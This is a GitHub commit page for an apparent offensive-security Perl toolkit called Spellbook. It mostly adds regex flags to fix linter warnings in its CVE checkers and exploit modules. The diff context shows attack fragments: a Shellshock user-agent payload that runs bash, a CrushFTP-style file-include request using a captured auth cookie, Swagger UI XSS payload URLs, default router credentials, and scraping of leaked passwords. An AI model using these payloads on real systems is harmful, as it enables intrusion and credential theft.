Skip to content

Commit

Permalink
resolv linter warnings
Browse files Browse the repository at this point in the history
  • Loading branch information
htrgouvea committed Jun 11, 2024
1 parent 0d72a6d commit e06d2d3
Show file tree
Hide file tree
Showing 36 changed files with 83 additions and 73 deletions.
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2006_3392.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ package Spellbook::Advisory::CVE_2006_3392 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2016_10045.pm
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ package Spellbook::Advisory::CVE_2016_10045 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2017_5487.pm
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ package Spellbook::Advisory::CVE_2017_5487 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Advisory/CVE_2020_9376.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ package Spellbook::Advisory::CVE_2020_9376 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

Expand All @@ -25,7 +25,7 @@ package Spellbook::Advisory::CVE_2020_9376 {
my $request = HTTP::Request -> new("POST", "$target/getcfg.php", $headers, $payload);
my $response = $userAgent -> request($request);

if (($response -> code() == 200) && ($response -> content() =~ m/DIR-610/)) {
if (($response -> code() == 200) && ($response -> content() =~ m/DIR-610/x)) {
my $dom = Mojo::DOM -> new($response -> content());

my $name = $dom -> at("entry > name") -> text();
Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2020_9377.pm
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ package Spellbook::Advisory::CVE_2020_9377 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Advisory/CVE_2021_24891.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ package Spellbook::Advisory::CVE_2021_24891 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand All @@ -35,7 +35,7 @@ package Spellbook::Advisory::CVE_2021_24891 {
my $inner_hash = $fingerprints -> {$key};
my $request = $useragent -> get($target . $inner_hash->{endpoint});

if (($request -> code() == 200) && $request -> decoded_content() =~ m/$inner_hash->{regex}/) {
if (($request -> code() == 200) && $request -> decoded_content() =~ m/$inner_hash->{regex}/x) {
push @results, $target . $inner_hash -> {endpoint};
}
}
Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2021_41773.pm
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ package Spellbook::Advisory::CVE_2021_41773 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2023_29489.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ package Spellbook::Advisory::CVE_2023_29489 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Advisory/CVE_2023_38646.pm
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ package Spellbook::Advisory::CVE_2023_38646 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Advisory/CVE_2024_4040.pm
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ package Spellbook::Advisory::CVE_2024_4040 {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand All @@ -36,7 +36,7 @@ package Spellbook::Advisory::CVE_2024_4040 {

my $cookies = $response -> header("Set-Cookie");

if ($cookies =~ /currentAuth=([^;]+)/) {
if ($cookies =~ /currentAuth=([^;]+)/x) {
$response = $userAgent -> post($endpoint,
Content_Type => "application/x-www-form-urlencoded",
Content => "command=exists&paths=<INCLUDE>$payload</INCLUDE>&c2f=$1"
Expand Down
6 changes: 3 additions & 3 deletions lib/Spellbook/Advisory/Laravel_Ignition_XSS.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ package Spellbook::Advisory::Laravel_Ignition_XSS {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand All @@ -26,8 +26,8 @@ package Spellbook::Advisory::Laravel_Ignition_XSS {

if (
$request -> code() == 500 &&
$request -> content() =~ m/Undefined index:/ &&
$request -> content() =~ m/$uuid[0]/
$request -> content() =~ m/Undefined index:/x &&
$request -> content() =~ m/$uuid[0]/x
) {
push @results, $target;
}
Expand Down
16 changes: 8 additions & 8 deletions lib/Spellbook/Core/Helper.pm
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,14 @@ package Spellbook::Core::Helper {

sub new {
print "
\rSpellbook v0.3.4
\rCore Commands
\r==============
\r\tCommand Description
\r\t------- -----------
\r\t-s, --search List modules, you can filter by category
\r\t-m, --module Define a module to use
\r\t-h, --help To see help menu of a module\n\n";
\rSpellbook v0.3.4
\rCore Commands
\r==============
\r\tCommand Description
\r\t------- -----------
\r\t-s, --search List modules, you can filter by category
\r\t-m, --module Define a module to use
\r\t-h, --help To see help menu of a module\n\n";

return 1;
}
Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Exploit/CORS_Misconfig.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ package Spellbook::Exploit::CORS_Misconfig {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
4 changes: 3 additions & 1 deletion lib/Spellbook/Exploit/Fullchain_DLINK.pm
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,9 @@ package Spellbook::Exploit::Fullchain_DLINK {
if (!$password) { $password = "admin"; }

if ($username) {
if ($router !~ /^http(s)?:\/\//) { $router = "http://$router"; }
if ($router !~ /^http(s)?:\/\//x) {
$router = "http://$router";
}

my $userAgent = LWP::UserAgent->new();
my $payload = "REPORT_METHOD=xml&ACTION=login_plaintext&USER=$username&PASSWD=$password&CAPTCHA=";
Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Exploit/Headers_Misconfig.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ package Spellbook::Exploit::Headers_Misconfig {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
10 changes: 5 additions & 5 deletions lib/Spellbook/Exploit/Mixed_Content.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,23 +14,23 @@ package Spellbook::Exploit::Mixed_Content {
);

if ($target) {
if ($target =~ /^http:\/\//) {
$target =~ s/^http:\/\///;
if ($target =~ /^http:\/\//x) {
$target =~ s/^http:\/\///x;
}

if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new ();
my $request = $userAgent -> get($target);

for (($request -> content =~ /src="([^"]+)"/g) || ($request -> content =~ /href="([^"]+)"/g)){
for (($request -> content =~ /src="([^"]+)"/gx) || ($request -> content =~ /href="([^"]+)"/gx)){
push @urls, $1;
}

foreach my $url (@urls) {
if ($url =~ /^http?:\/\//) {
if ($url =~ /^http?:\/\//x) {
push @result, "[+] $target - $url";
}
}
Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Exploit/Pwn_DB.pm
Original file line number Diff line number Diff line change
Expand Up @@ -25,8 +25,8 @@ package Spellbook::Exploit::Pwn_DB {
my $dom_parse = Mojo::DOM -> new($request -> content());
my $content = $dom_parse -> at("pre") -> text();

if ($content =~ /Array/) {
while ($content =~ /\[luser\] => ([^\n]+)[^\)]+\[password\] => ([^\n]+)/mg) {
if ($content =~ /Array/x) {
while ($content =~ /\[luser\] => ([^\n]+)[^\)]+\[password\] => ([^\n]+)/mgx) {
if ($1 ne "donate") {
print "$1\@$target:$2\n";
}
Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Exploit/Redis_Unauth.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,8 +15,8 @@ package Spellbook::Exploit::Redis_Unauth {
);

if ($target) {
if ($target =~ m/^http(s)?:\/\//) {
$target =~ s/^http(s)?:\/\///;
if ($target =~ m/^http(s)?:\/\//x) {
$target =~ s/^http(s)?:\/\///x;
}

try {
Expand Down
18 changes: 11 additions & 7 deletions lib/Spellbook/Exploit/Reflected_XSS.pm
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ package Spellbook::Exploit::Reflected_XSS {
use Mojo::UserAgent;
use Mojo::Parameters;
use UUID::Tiny ':std';
use Try::Tiny;

sub new {
my ($self, $parameters) = @_;
Expand All @@ -25,20 +26,23 @@ package Spellbook::Exploit::Reflected_XSS {

foreach my $name (@{$params -> names}) {
my $uuid = create_uuid_as_string(4);
my $payload = "$uuid"; # i need change this payload to contain a javascript or html tag
my $payload = $uuid; # i need change this payload to contain a javascript or html tag
my $value = $params -> param($name);

$params -> remove($name);
$params -> append($name, $payload);
$parsed_url -> query($params);

my $response = $useragent -> get($parsed_url) -> result();
$parsed_url -> query($params);

try {
my $response = $useragent -> get($parsed_url) -> result();

if ($response -> is_success()) {
my $content = $response -> body();
if ($response -> is_success()) {
my $content = $response -> body();

if ($content =~ /$payload/g) {
push @result, $parsed_url;
if ($content =~ /$payload/gx) {
push @result, $parsed_url;
}
}
}
}
Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Exploit/S3_Bucket_Takeover.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,14 +14,14 @@ package Spellbook::Exploit::S3_Bucket_Takeover {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new();
my $request = $userAgent -> get($target);

if ($request -> code() == 404 && $request-> content() =~ m/Code: NoSuchBucket/) {
if ($request -> code() == 404 && $request-> content() =~ m/Code: NoSuchBucket/x) {
push @result, $target;
}

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Exploit/Shellshock.pm
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ package Spellbook::Exploit::Shellshock {
agent => "() { :; }; echo; echo; /bin/bash -c 'ls'"
);

if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
4 changes: 2 additions & 2 deletions lib/Spellbook/Exploit/Subdomain_Takeover.pm
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ package Spellbook::Exploit::Subdomain_Takeover {
);

if ($target) {
$target =~ s/^http(s)?:\/\///;
$target =~ s/^http(s)?:\/\///x;

my $resolv = Net::DNS::Resolver -> new();
my $reply = $resolv -> search($target);
Expand All @@ -43,7 +43,7 @@ package Spellbook::Exploit::Subdomain_Takeover {
);

foreach (%hashes) {
if ($rr -> cname() =~ m/$_/) {
if ($rr -> cname() =~ m/$_/x) {
my $useragent = Spellbook::Core::UserAgent -> new();
my $request = $useragent -> get($target);

Expand Down
8 changes: 4 additions & 4 deletions lib/Spellbook/Exploit/Swagger_XSS.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,11 +14,11 @@ package Spellbook::Exploit::Swagger_XSS {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

$target =~ s/\/$//;
$target =~ s/\/$//x;
my $useragent = Spellbook::Core::UserAgent -> new();

my @paths = (
Expand All @@ -32,10 +32,10 @@ package Spellbook::Exploit::Swagger_XSS {
my $request = $useragent -> get("$target$path");

if ($request -> code() == 200) {
if ($request -> content() =~ /<title>(.*)<\/title>/) {
if ($request -> content() =~ /<title>(.*)<\/title>/x) {
my $title = $1;

if ($title =~ /Swagger UI/) {
if ($title =~ /Swagger UI/x) {
my @payloads = (
"?url=https://gist.githubusercontent.com/htrgouvea/df8a1a495c96c9942adc003884bc6b30/raw/92202a78d99d6c284b675ed34cf882895d75dfb4/payload-swagger-ui.yml",
"?configUrl=https://gist.githubusercontent.com/htrgouvea/86e17124610e7550295533e9d7bac571/raw/cf690c6862d38e02a081a9d580510ba8fff28bef/payload-swagger-ui.json"
Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Exploit/Upload_Via_PUT.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ package Spellbook::Exploit::Upload_Via_PUT {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down
6 changes: 3 additions & 3 deletions lib/Spellbook/Helper/Host_Normalization.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,15 +14,15 @@ package Spellbook::Helper::Host_Normalization {
);

if ($target) {
if ($target !~ /^http(s)?:\/\//) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

my $uri = URI::URL -> new($target);
my $host = $uri -> host();

$host =~ s/^www\.//i;
$host =~ s/^\*.//;
$host =~ s/^www\.//ix;
$host =~ s/^\*.//x;

return lc($host);

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Helper/Scope.pm
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ package Spellbook::Helper::Scope {

sub new {
my ($self, $parameters) = @_;
my ($help, $scope, $information, $entrypoint, $save, $keep, @results, @response);
my ($help, $scope, $information, $entrypoint, $save, $keep, @results);

my $threads = 10;

Expand Down
2 changes: 1 addition & 1 deletion lib/Spellbook/Mail/Checker.pm
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package Spellbook {
package Spellbook::Mail::Checker {
use strict;
use warnings;

Expand Down
Loading

0 comments on commit e06d2d3

Please sign in to comment.